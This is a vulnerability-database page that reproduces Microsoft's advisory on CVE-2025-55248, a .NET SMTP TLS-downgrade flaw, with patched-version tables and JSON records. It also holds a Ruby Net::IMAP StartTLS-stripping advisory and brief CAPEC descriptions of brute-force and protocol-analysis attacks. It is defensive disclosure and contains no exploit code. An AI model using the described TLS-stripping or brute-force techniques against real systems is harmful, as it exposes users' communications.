Vulnerability from github – Published: 2025-10-15 17:39 – Updated: 2025-10-15 17:39Microsoft Security Advisory CVE-2025-55248 | .NET Information Disclosure Vulnerability
Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0 and .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A MITM (man in the middle) attacker may prevent use of TLS between client and SMTP server, forcing client to send data over unencrypted connection.
Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/372
Mitigation factors
Microsoft has not identified any mitigating factors for this vulnerability.
Affected software
- Any .NET 8.0 application running on .NET 8.0.20 or earlier.
- Any .NET 9.0 application running on .NET 9.0.9 or earlier.
Affected Packages
The vulnerability affects any Microsoft .NET project if it uses any of affected packages versions listed below
.NET 9
| Package name | Affected version | Patched version |
|---|---|---|
| Microsoft.NetCore.App.Runtime.linux-arm | >= 9.0.0, < =9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-musl-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.linux-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.osx-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.osx-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-arm | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-arm64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-x64 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
| Microsoft.NetCore.App.Runtime.win-x86 | >= 9.0.0, <= 9.0.9 | 9.0.10 |
.NET 8
| Package name | Affected version | Patched version |
|---|---|---|
| Microsoft.NetCore.App.Runtime.linux-arm | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-musl-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-musl-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.linux-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.osx-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.osx-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-arm | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-arm64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-x64 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
| Microsoft.NetCore.App.Runtime.win-x86 | >= 8.0.0, <= 8.0.20 | 8.0.21 |
Advisory FAQ
How do I know if I am affected?
If you have a runtime with a version listed, or an affected package listed in affected software or affected packages, you're exposed to the vulnerability.
How do I fix the issue?
- To fix the issue please install the latest version of .NET 9.0 or .NET 8.0, as appropriate. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
-
If your application references the vulnerable package, update the package reference to the patched version.
-
You can list the versions you have installed by running the
dotnet --infocommand. You will see output like the following;
.NET SDK:
Version: 9.0.100
Commit: 59db016f11
Workload version: 9.0.100-manifests.3068a692
MSBuild version: 17.12.7+5b8665660
Runtime Environment:
OS Name: Mac OS X
OS Version: 15.2
OS Platform: Darwin
RID: osx-arm64
Base Path: /usr/local/share/dotnet/sdk/9.0.100/
.NET workloads installed:
There are no installed workloads to display.
Configured to use loose manifests when installing new manifests.
Host:
Version: 9.0.0
Architecture: arm64
Commit: 9d5a6a9aa4
.NET SDKs installed:
9.0.100 [/usr/local/share/dotnet/sdk]
.NET runtimes installed:
Microsoft.AspNetCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]
Microsoft.NETCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]
Other architectures found:
x64 [/usr/local/share/dotnet]
registered at [/etc/dotnet/install_location_x64]
Environment variables:
Not set
global.json file:
Not found
Learn more:
https://aka.ms/dotnet/info
Download .NET:
https://aka.ms/dotnet/download
- If you're using .NET 8.0, you should download and install .NET 8.0.21 Runtime or .NET 8.0.318 SDK (for Visual Studio 2022 v17.10 latest update) from https://dotnet.microsoft.com/download/dotnet-core/8.0.
- If you're using .NET 9.0, you should download and install .NET 9.0.10 Runtime or .NET 9.0.111 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/9.0.
Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.
Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.
Other Information
Reporting Security Issues
If you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
External Links
Revisions
V1.0 (October 14, 2025): Advisory published.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.NetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55248"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T17:39:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Microsoft Security Advisory CVE-2025-55248 | .NET Information Disclosure Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0 and .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA MITM (man in the middle) attacker may prevent use of TLS between client and SMTP server, forcing client to send data over unencrypted connection.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/372\n\n## \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any .NET 8.0 application running on .NET 8.0.20 or earlier.\n* Any .NET 9.0 application running on .NET 9.0.9 or earlier.\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected packages versions listed below\n\n### \u003ca name=\".NET 9\"\u003e\u003c/a\u003e.NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | \u003e= 9.0.0, \u003c =9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n\n### \u003ca name=\".NET 8\"\u003e\u003c/a\u003e.NET 8\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET 9.0 or .NET 8.0, as appropriate. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version.\n\n* You can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET SDK:\n Version: 9.0.100\n Commit: 59db016f11\n Workload version: 9.0.100-manifests.3068a692\n MSBuild version: 17.12.7+5b8665660\n\nRuntime Environment:\n OS Name: Mac OS X\n OS Version: 15.2\n OS Platform: Darwin\n RID: osx-arm64\n Base Path: /usr/local/share/dotnet/sdk/9.0.100/\n\n.NET workloads installed:\nThere are no installed workloads to display.\nConfigured to use loose manifests when installing new manifests.\n\nHost:\n Version: 9.0.0\n Architecture: arm64\n Commit: 9d5a6a9aa4\n\n.NET SDKs installed:\n 9.0.100 [/usr/local/share/dotnet/sdk]\n\n.NET runtimes installed:\n Microsoft.AspNetCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]\n Microsoft.NETCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]\n\nOther architectures found:\n x64 [/usr/local/share/dotnet]\n registered at [/etc/dotnet/install_location_x64]\n\nEnvironment variables:\n Not set\n\nglobal.json file:\n Not found\n\nLearn more:\n https://aka.ms/dotnet/info\n\nDownload .NET:\n https://aka.ms/dotnet/download\n```\n\n* If you\u0027re using .NET 8.0, you should download and install .NET 8.0.21 Runtime or .NET 8.0.318 SDK (for Visual Studio 2022 v17.10 latest update) from https://dotnet.microsoft.com/download/dotnet-core/8.0.\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0.10 Runtime or .NET 9.0.111 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2025-55248]( https://www.cve.org/CVERecord?id=CVE-2025-55248)\n\n### Revisions\n\nV1.0 (October 14, 2025): Advisory published.",
"id": "GHSA-gwq6-fmvp-qp68",
"modified": "2025-10-15T17:39:03Z",
"published": "2025-10-15T17:39:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/security/advisories/GHSA-gwq6-fmvp-qp68"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/372"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/issues/120713"
},
{
"type": "PACKAGE",
"url": "https://github.com/dotnet/runtime"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55248"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Security Advisory CVE-2025-55248: .NET Information Disclosure Vulnerability"
}
GHSA-GX49-H5R3-Q3XJ
Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."
{
"affected": [],
"aliases": [
"CVE-2021-32066"
],
"database_specific": {
"cwe_ids": [
"CWE-326",
"CWE-755"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-01T19:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"",
"id": "GHSA-gx49-h5r3-q3xj",
"modified": "2022-05-24T19:09:28Z",
"published": "2022-05-24T19:09:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32066"
},
{
"type": "WEB",
"url": "https://github.com/ruby/ruby/commit/a21a3b7d23704a01d34bd79d09dc37897e00922a"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1178562"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/10/msg00009.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00033.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202401-27"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210902-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an encryption scheme that is currently considered to be strong by experts in the field.
CAPEC-112: Brute Force
In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset.
CAPEC-192: Protocol Analysis
An adversary engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet-switched data network. While this type of analysis involves the analysis of a networking protocol inherently, it does not require the presence of an actual or physical network.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.